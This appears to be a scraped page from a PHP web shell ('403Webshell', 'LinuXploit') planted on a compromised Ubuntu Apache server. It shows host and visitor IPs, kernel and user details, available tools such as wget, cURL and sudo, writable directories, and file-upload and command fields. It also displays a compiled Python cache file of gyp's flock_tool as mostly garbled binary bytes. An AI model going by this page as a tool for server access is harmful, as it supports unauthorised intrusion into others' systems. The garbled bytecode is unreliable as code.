403Webshell
Server IP : 46.62.235.243  /  Your IP : 216.73.216.163
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux Linkabili3Dicembre 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/gyp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/gyp/__pycache__/flock_tool.cpython-312.pyc
�

�"Kb����dZddlZddlZddlZddlZddlZd�ZGd�de�Ze	dk(r&ejeejdd��yy)z�These functions are executed via gyp-flock-tool when using the Makefile
generator.  Used on systems that don't have a built-in flock.�Nc�:�t�}|j|�y)N)�	FlockTool�Dispatch)�args�executors  �0/usr/lib/python3/dist-packages/gyp/flock_tool.py�mainr	s��
�[�(�
���D��c�"�eZdZdZd�Zd�Zd�Zy)rz(This class emulates the 'flock' command.c��t|�dkrtd��d|j|d�z}t||�|dd�y)z(Dispatches a string command to a method.�zNot enough argumentszExec%srN)�len�	Exception�_CommandifyName�getattr)�selfr�methods   rrzFlockTool.DispatchsI��
�4�y�1�}��,�-�-�
��,�,�T�!�W�5�
5�F��G�D�&��4���8�$r
c�B�|j�jdd�S)z<Transforms a tool name like copy-info-plist to CopyInfoPlist�-�)�title�replace)r�name_strings  rrzFlockTool._CommandifyNames������&�&�s�B�/�/r
c
���tj|tjtjztjzd�}t
jjd�r+tjdtjdddddd�}n*tjdtjdddddd�}tj|tj|�tj|�S)z5Emulates the most basic behavior of Linux's flock(1).i��aix�hhIllqqr�hhllhhl)�os�open�O_WRONLY�O_NOCTTY�O_CREAT�sys�platform�
startswith�struct�pack�fcntl�F_WRLCK�F_SETLK�
subprocess�call)r�lockfile�cmd_list�fd�ops     r�	ExecFlockzFlockTool.ExecFlock#s���
����2�;�;�r�{�{�2�2�:�:�=�u�	E�B�
�|�|���u�%��;�;�y�%�-�-��A�q�!�Q��B�b��;�;�y�%�-�-��A�q�!�Q��B�b�	�K�K��E�M�M�2�&��?�?�8�$�$r
N)�__name__�
__module__�__qualname__�__doc__rrr1�r
rrrs��0�%�0�%r
r�__main__r
)r5r(rr&r+r#r	�objectrr2�exit�argvr6r
r�<module>r;sZ��A�
�	�
��
��
%��%�@�z��
�#�(�(�4���������r

Youez - 2016 - github.com/yon3zu
LinuXploit